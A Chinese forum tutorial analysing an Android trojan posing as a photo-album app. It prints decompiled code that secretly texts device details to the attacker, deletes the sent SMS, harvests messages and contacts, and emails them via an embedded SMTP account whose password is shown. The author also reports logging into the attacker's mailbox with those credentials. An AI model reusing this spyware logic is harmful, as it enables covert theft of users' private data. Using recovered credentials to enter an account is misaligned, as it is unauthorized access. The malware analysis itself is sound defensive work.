安卓逆向培训 发表于 2020-2-21 19:58:08

零基础安卓逆向学习之旅(五)安卓木马分析

零基础安卓逆向学习之旅(五)安卓木马分析
前言

    上期小狼跟大伙分享了如何利用APP漏洞,本期学习之旅先中断一下,跟大伙儿分享一个木马的分析,木马呢是去年的一个木马,木马里面使用的技术不是最新的技术手段,估计木马的编写者估计水平有限呢。

0x01 正文

1、总体功能

    该木马是伪装在一个相册 app 下, 主要偷取用户的短信、通讯录等个人隐私信息,然后再通过发送邮件的方式向挂马者的邮箱传送这些偷取到的个人数据。这个木马的主要功能有以下几个:

①app 启动时,先挂马者的手机号码发送用户的设备 ID、 手机型号、系统版本等提示信息,用来提醒挂马者有新中木马的用户,以便查看邮箱; 同时在短信发送完后,顺便访问短信数据库,将发送的短信删除。

② 读取用户短信 app 下的数据库,获取其中发信人号码、 发信日期、短信内容等私人信息。

③ 读取用户通讯录 app 下的数据库,读取通讯录中的姓名及与姓名对应的电话、手机号码。

④ 将上边获取的所有个人隐私信息转换为邮件的格式,以便通过邮件向挂马者

发送获取到的数据。

⑤以挂马者的邮箱账号和密码,调用手机上的 email 通信方式,将上边转换为

邮件格式的个人信息,发送到挂马者的邮箱上。

⑥请求获取管理员的权限, 使木马更长久地存活。

总体流程图:



2、过程分析

2.1 查看 AndroidManifest.xml, 了解木马权限

    运 用 apktool 工 具 对 apk 文 件 进 行 反 编 译 , 在 生 成 的AndroidManifest.xml 文件中可以查看到该 app 一共使用下边的二十多个系统权限,其中包括读取通讯录信息、接收、读取、修改、发送短信等涉及个人隐私信息的权限。

<uses-permission android:name="android.permission.INTERNET"/>

//获取网络套接字

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

//写入外部存储

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>

//获取网络状态

<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>

//获取 WiFi 状态

<uses-permission android:name="android.permission.WAKE_LOCK"/>

//允许使用 PowerManager 的 WakeLocks 保持进程在休眠时从屏幕消失

<uses-permission android:name="android.permission.VIBRATE"/>

//允许访问振动器

<uses-permission android:name="android.permission.RECEIVE_WAP_PUSH"/>

//接收 WAP push 的信息

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

//获取设备启动时的广播

<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>

//修改音频设置

<uses-permission android:name="android.permission.RECEIVE_USER_PRESENT"/>

//获取用户启动屏幕的广播

<uses-permission android:name="android.permission.READ_CONTACTS"/>

//读取通讯录

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>

//获取通话状态及电话号码

<uses-permission android:name="android.permission.CALL_PHONE"/>

//初始化电话拨号不需通过拨号用户界面让用户确认

<uses-permission android:name="android.permission.READ_SMS"/>

//读取短信

<uses-permission android:name="android.permission.WRITE_SETTINGS"/>

//读、写用户系统设置

<uses-permission android:name="android.permission.RECEIVE_SMS"/>

//接收短信

<uses-permission android:name="android.permission.WRITE_SMS"/>

//编写短信

<uses-permission android:name="android.permission.SEND_SMS"/>

//发送短信

2.2 获取源码,分析木马机理

从 AndroidManifest.xml 文件可确定主活动:android:name="com.phone2.stop.activity.MainActivity"运用 dex2jar、 jd-gui 工具进行反编译,获取 app 的 java 源码, 由主活动锁定com 包中的 MainActivity.class,并定位到 onCreate()方法,其代码如下






(1)配置、初始化 configuration_data 文件

    最先的可疑点是在对 j 类的调用,初始化后,便是对 j 类中 a/b/c/d/e 几

个方法的调用,这几个方法实现的功能是相似的,以 a 为例进行剖析,进入 a 方法, 代码如下:

public static void a(Context paramContext)

{

if (com.phone.stop.db.a.a(paramContext).o()) {

return;

}

String str = h.a(com.phone.stop.db.a.a(paramContext).d());

com.phone.stop.db.a.a(paramContext).c(str);

com.phone.stop.db.a.a(paramContext).e(true);

}

    该方法都将 context 传入 com.phone.stop.db.a.a 类,并对里边的相关方法进行调用,先是对 o()方法的返回结果进行判断,再进一步查看 o()代码

public boolean o()

{

return this.b.getBoolean("have_init_phone_number", false);

}

b 定义为:

    this.b=paramContext.getSharedPreferences("configurations_data", 0);所 以 可 见 o() 方 法 是 读 取 文 件 configuretions_data 中 键 值 为have_init_phone_number 所对应的值,初始值是 false,便进行 d(), c(), e()三个方法的调用。

d():

public String d()

{

    return this.b.getString("a100", "135****6943");

}

获取字符串,并通过 h.a()方法对其进行字节转换

c():

public void c(String paramString)

{

    SharedPreferences.Editor localEditor = this.b.edit();

    localEditor.putString("a10", paramString);

    localEditor.commit();

}

c()方法是将上边获得的字符串编辑在 configurations_data 文件中再调用 e()将原本 have_init_phone_number 的值,改为 true。

public void e(boolean paramBoolean)

{

    SharedPreferences.Editor localEditor = this.b.edit();

    localEditor.putBoolean("have_init_phone_number", paramBoolean);

    localEditor.commit();

}

    这是 j 类中 a()所实现的配置,而其他几个方法也是对 configurations_data文件进行键值对配置,可见,一开始对 j 类几个的方法的调用,是先将有关数据存储到 configurations_data 文件下,以便之后对内容的读取调用。

(2)获取手机配置信息,向挂马者发送提醒

    onCreate()方法接着的是对!a.a(this).r()的判断,其代码如下:

public boolean r()

{

    return this.b.getBoolean("has_send_phone_info", false);

}

    仍是对 configurations_data 文件的操作,获取 has_send_phone_info 的值,起初为 false,执行:

paramBundle = ((TelephonyManager)getSystemService("phone")).getDeviceId();

//获取手机设备的 ID

f.a("软件安装完毕\n 识别码" + paramBundle + "\n" + e.a(), this);

//获取用户手机配置信息,并通过短信向木马作者的手机发送

a.a(this).h(true);

//将 configurations_data 文件的 has_send_phone_info 键值设置为 true

对 f.a("软件安装完毕\n 识别码" + paramBundle + "\n" + e.a(), this);进行分析

e.a():

public static String a()

{

return "型号:" + a(Build.MODEL) + ";\n 手机" + a(Build.BRAND) +";\n 系统版本: " + a(Build.VERSION.RELEASE);

}

    由代码可知 e.a()方法是调用 Build 来获取用户手机的型号、牌子、系统版本而 f.a()则是以获得的这些信息来启动新的线程,在该 Thread 类的 run()最后中执行的是Class.forName("android.telephony.SmsManager").getMethod("sendTextMessage", new Class[] { String.class, String.class, String.class, PendingIntent.class, PendingIntent.class }).invoke(localObject2, newObject[] { a.a(this.b).d(), null, localObject1, null, null });

    这里调用了 android.telephony.SmsManager 类的 sendTextMessage()方法来发送短信。 其中, localObject1 就是短信要发送的内容,便是前边获取到的手机配置信息,而 a.a(this.b).d()相应的代码为:

public String d()

{

    return this.b.getString("a100", "135****6943");

}

    就是获取一开始在 configurations_data 文件添加的键值对,从而通过该方法来获取字符串"135****6943",这就是短信所要发送的目的手机,用来提醒作者新被挂马的手机

(3)及时删除刚发送的短信

    发送完短信后顺便将短信删除, 执行 h.b(this); 该方法通过 ContentResolver来访问SMS数据库,通过查询获取刚发送的短信 id,并通过该 id 删除短信:

ContentResolver localContentResolver;

Cursor localCursor;

if (!com.phone.stop.db.a.a(paramContext).p())

//获取 configurations_data 的相关键值,判断是否记录删除了短信

{

    localContentResolver = paramContext.getContentResolver();

    localCursor = localContentResolver.query(com.phone.stop.a.a.b,null, null, null, "date");

    // com.phone.stop.a.a.b 对应 content://sms/inbox

}

try

{

    if ((!com.phone.stop.db.a.a(paramContext).p()) && (localCursor.moveToNext()))

{

    int i = localCursor.getInt(localCursor.getColumnIndex("_id"));

   if (localContentResolver.delete(Uri.parse("content://sms/" +i), null, null) == 1)

{ //删除短信

    com.phone.stop.db.a.a(paramContext).f(true); //修改键值

}

}

(4)执行木马核心部分,获取、发送个人信息

onCreate()方法接着执行的是

if (a.a(this).g()) {

    d.a(this);

}

仍通过获取 configurations_data 文件中键值的判断

public boolean g()

{

    return this.b.getBoolean("email_message_contacts_switch", true);

}

    这是判断是否要进行对用户短信、通讯录的发送, true所以执行 d.a(this),而这里的 a 方法是下图所示的,启动新线程,进行这个木马最主要的任务






其中的后两个 if 判断,依然是通过 configurations_data 中相应键值的判断,第一次是判断是否已经发送用户的短信信息,一开始当然是 false,进行用户短信的获取,并通过 email 向目标邮箱发送从用户手机获取到的短信。



分析上图中的代码可以知道其中的主要功能便是:获取短信数据库里的重要信息,将所获取的信息进行邮件格式的转换,最后将整理后的信息通过 email 发送到木马作者的邮箱。

(5)短信获取,并用 email 发送

    一开始是通过 localObject2 = i.a(paramContext);的调用将获取到的信息传给参数 localObject2,查看 i.a 方法的调用,其主要代码如下图所示:




通过查询 content URI(“content://sms”)下{ "_id", "address", "person","body", "date", "type", "thread_id"}这几个名称所对应的信息,其中主要包括了发信人号码,发信日期,短信的内容。然后像上边代码所示的,通过遍历对这些值进行一一获取,并保存在一开始的 List 下( localArrayList = new ArrayList(); ), 最 后 将 localArrayList 返 回 , 其 返 回 值 便 传 给 了localObject2,接着是对这些获取到的信息进行整理:

Object localObject3 =(com.phone.stop.d.b)((Iterator)localObject2).next();

((StringBuffer)localObject1).append("<br><br><font color=red>----------------------" + ((com.phone.stop.d.b)localObject3).b + " " +((com.phone.stop.d.b)localObject3).c + "-------------</font><br>");

//这里便是一个发信人的标题,包括了号码区号,之后的 c 是重要的号码

localObject3 = ((com.phone.stop.d.b)localObject3).d.iterator();

//迭代器

while (((Iterator)localObject3).hasNext()) //短信遍历

{

localObject4 =(com.phone.stop.d.a)((Iterator)localObject3).next();

if (((com.phone.stop.d.a)localObject4).e == 1) {

((StringBuffer)localObject1).append(((com.phone.stop.d.a)localObject4).d).append(" ").append(((com.phone.stop.d.a)localObject4).c).append("<br>");

} else {

((StringBuffer)localObject1).append(((com.phone.stop.d.a)localObject4).d).append(" ").append("<font color=blue>").append(((com.phone.stop.d.a)localObject4).c).append("</font>").append("<br>");

}

//上边的 if 过程是对短信内容的整理,通过判断确定内容以黑/蓝颜色发送整理为 email 发送格式后,便是进行向作者邮箱发送信息的步骤了,主要部分如下:

localObject2 = locala.h();

//获取邮箱登陆账号 this.b.getString("a60", "135****6943@189.cn");

localObject3 = locala.j();

//获取邮箱登陆密码 this.b.getString("a80", "laojia88");

localObject4 = locala.i();

//获取目标邮箱 this.b.getString("a70", "135****6943@189.cn");

b localb = new b(); //建立起手机的 email 协议

localb.a("smtp.189.cn", "465"); //189 邮箱

localb.a((String)localObject2, "(IMEI)" + paramContext + "【短信记录】", (String)localObject1);

//这里便是添加邮件发信人,邮件主题,邮件内容

localb.a(new String[] { localObject4 });

//添加收信人

localb.b("smtp.189.cn", (String)localObject2, (String)localObject3);

//本地邮箱登陆

locala.j(true);

//给 configurations_data 的键值作标记, ”has_send_message“ =true,短信邮件已发送。

(6)继续获取通讯录, 再次用 email

发送发送完用户的短信信息,之后便是通讯录的发送了,主要代码如图




其大部分原理都跟上边发送短信的相同,获取通讯录数据,将数据整理为email 发送格式,向目标邮箱发送数据,其中对通讯录数据库的获取如下


通过查询通讯录 content URI,然后获取"_id", "display_name"名称,遍历数据库里所有的通讯人信息,包括对一人对应多个号码的一一获取,最后将获取到的人名及对应的所有号码,添加到 List( localArrayList)里,将结果返回。接着便是对返回结果进行整理,将整个通讯信息发送给目标邮箱,过程跟上边短信的相同。

(7)进一步提权

再获取、发送完这些信息之后,还有对这个进行申请管理员权限的操作,便是执行了 a()方法其代码如下图




主要就是向"android.app.action.ADD_DEVICE_ADMIN"发送提权申请,这时用户手机上管理权限程序就会弹出该 app 的提权申请确认 activity,当用户不小心同意了该提权申请时,该木马便可获得管理权限,这将更有利于木马的生存,不易被查杀、删除。

(8)登录挂马者邮箱,查看木马状态

在上边分析中可以获得木马作者的邮箱账号及密码,尝试登陆查看该木马近期的状态,如下图,可见该木马还在继续活跃传播。









a114543 发表于 2020-9-19 08:49:56

祝资源共享吧越来越火!
页: [1]
查看完整版本: 零基础安卓逆向学习之旅(五)安卓木马分析